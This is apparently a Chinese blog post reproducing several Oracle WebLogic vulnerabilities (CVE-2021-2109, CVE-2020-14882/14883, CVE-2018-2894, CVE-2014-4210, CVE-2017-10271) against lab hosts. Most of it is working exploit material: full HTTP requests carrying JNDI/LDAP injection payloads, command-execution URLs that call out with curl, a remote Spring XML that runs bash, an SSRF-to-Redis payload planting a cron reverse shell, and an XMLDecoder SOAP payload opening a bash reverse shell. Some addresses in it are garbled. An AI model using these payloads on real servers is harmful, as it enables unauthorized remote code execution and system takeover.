weblogic 各种漏洞复现

1. cve-2021-2109 RCE

需要登录控制台或者配合 CVE-2020-14882 未授权访问漏洞即可实现rce。

影响版本:
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0

1.1 原理

大致就是bindingHandle类中的objectIdentifier变量的值的一部分会被放倒lookup函数中。lookup函数会触发jndi注入,如果我们能构造恶意的objectIdentifier值就能进行rce。

如果url中的参数如果以handle结尾,用 ConvertUtils.convert () 方法处理参数值, ConvertUtils.convert () 方法的作用是转换类型,在这里可以将字符串转换为 handle 对象。

综上我们可以按照 ConvertUtils.convert 的格式构造 bindingHandle ,而 bindingHandle 属于 JndiBindingHandle 类,objectIdentifier 是在构造函数里设置的,我们传递给JndiBindingHandle类值就会变成objectIdentifier。

具体格式如下:
JndiBindingHandle(‘1;2;AdminServer’)
如果我们传递的是这种数据,那么最终传递给lookup函数去执行的就是1.2。
因此我们将1换成ldap://123.123.213,将2换成123/object,JndiBindingHandle对象会变成:
JndiBindingHandle(‘ldap://123.123.213;123/object;AdminServer’)
这时候传递给lookup函数的就是:
ldap://123.123.123.123/object
可触发恶意命令。

1.2 登陆后利用

先登陆进去
在这里插入图片描述

1. 先用JNDIExploit启一个监听

在这里插入图片描述

2. 抓包

url:
http://192.168.171.136:7001/console/consolejndi.portal
在这里插入图片描述

带上恶意payload
payload

123handle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.171;1:12344/Basic/Command/whoami;AdminServer%22)

数据包:

POST /console/consolejndi.portal HTTP/1.1
Host: 192.168.171.136:7001
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
Cookie: ADMINCONSOLESESSION=b3DqHYE7rVEqOVrWgfmGpinRmm20j9Gjbdsdma3UjOqMCzIpLPKZ!-559118402
Connection: close
Content-Length: 116
cmd:ls

123handle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.171;1:12344/Basic/WeblogicEcho;AdminServer%22)

在这里插入图片描述

1.3 配合CVE-2020-14882任意用户登录漏洞利用

访问url:

http://192.168.171.136:7001/console/css/%252e%252e%252f/consolejndi.portal

创建监听等都同上。

1. 抓包并发送到repeter

POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
Host: 192.168.171.136:7001
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
Cookie: ADMINCONSOLESESSION=rc7qPIsiuCEXDkcBkGpvtyrcfZ6c2drjlj9NRelmcnKjOHPjwuvT!458980394
Connection: close
Content-Length: 116
cmd:ls

123handle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.171;1:12344/Basic/WeblogicEcho;AdminServer%22)

在这里插入图片描述

参考文章:Weblogic LDAP 远程代码执行漏洞分析(CVE-2021-2109)
CVE-2021-2109:Weblogic远程代码执行分析复现

2. CVE-2020-14882+CVE-2020-14883

CVE-2020-14882是未授权访问漏洞
CVE-2020-14883可以在低权限下执行任意代码
有两种利用方式,不同的方式影响版本不一样。

原理大概是通过静态资源文件绕过路径权限的校验。之后weblogic会对提交的url进行两次url解码。最后会将handle中的参数传入HandleFactory执行任意代码。

2.1 利用方式1

影响版本
Weblogic 12.2.1


poc

http://192.168.171.136:7001/console/css/%252e%252e/console.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20tqm2j9.dnslog.cn');")

在这里插入图片描述

2.2 利用方式2

影响版本
未修复的所有版本

创建一个xml文件,放在目标能访问到的服务器上:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

执行如下poc:

http://192.168.171.136:7001/console/css/%252e%252e/console.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.171.1:1111/1.xml")

在这里插入图片描述

3. CVE-2018-2894

任意文件上传漏洞

3.1 利用

访问http://192.168.171.136:7001/ws_utc/config.do,更改工作目录为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
在这里插入图片描述

上传webshell并抓包

记住这个id:
在这里插入图片描述
webshell上传的最终路径为:

http://192.168.171.136:7001/ws_utc/css/config/keystore/1636023444809_1.jsp

格式为:
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

4. CVE-2014-4210 ssrf漏洞 配合内网redis拿shell

1. 漏洞页面

http://192.168.171.136:7001/uddiexplorer/SearchPublicRegistries.jsp

在这里插入图片描述

在这里插入图片描述

我们尝试更改这个www-3.ibm.com,将它更改为127.0.0.1:22:
在这里插入图片描述
报错发现没有开启22端口,我们再将端口更改为7001:
在这里插入图片描述
发现端口是开着的只是返回404而已。

我们登陆到靶机中看看是不是关闭了22开启了7001:

在这里插入图片描述
验证成功。

2. 扫描内网机器

尝试扫描内网机器的6379端口,看是否有redis
在这里插入图片描述

在这里插入图片描述

确定在172.18.0.6379有redis,接下来我们尝试使用redis未授权的payload去攻击一下。

3. 生成反弹shell的payload

工具:Gopherus
在这里插入图片描述

gopher://172.18.0.6379:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2468%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.171.1/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

这时候发现gopher不支持:
在这里插入图片描述

将gopher改为http:

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.171.136:7001
Content-Length: 592
Cache-Control: max-age=0
Origin: http://192.168.171.136:7001
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.171.136:7001/uddiexplorer/SearchPublicRegistries.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=XrTrhDMQ49YmbvcTNnvNbndlrhDKFGTckDS1fJ21DvCNHQKhVcRq!1997715656
Connection: close

operator=http://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2468%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.171.1/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

在这里插入图片描述
成功反弹shell。

参考文章:SSRF攻击内网Redis

5. Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.171.139:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">


<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.171.1/9999 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/>
</void>


</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

主要更改的是从<java version="1.4.0" class="java.beans.XMLDecoder"></java>之间的部分。

在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值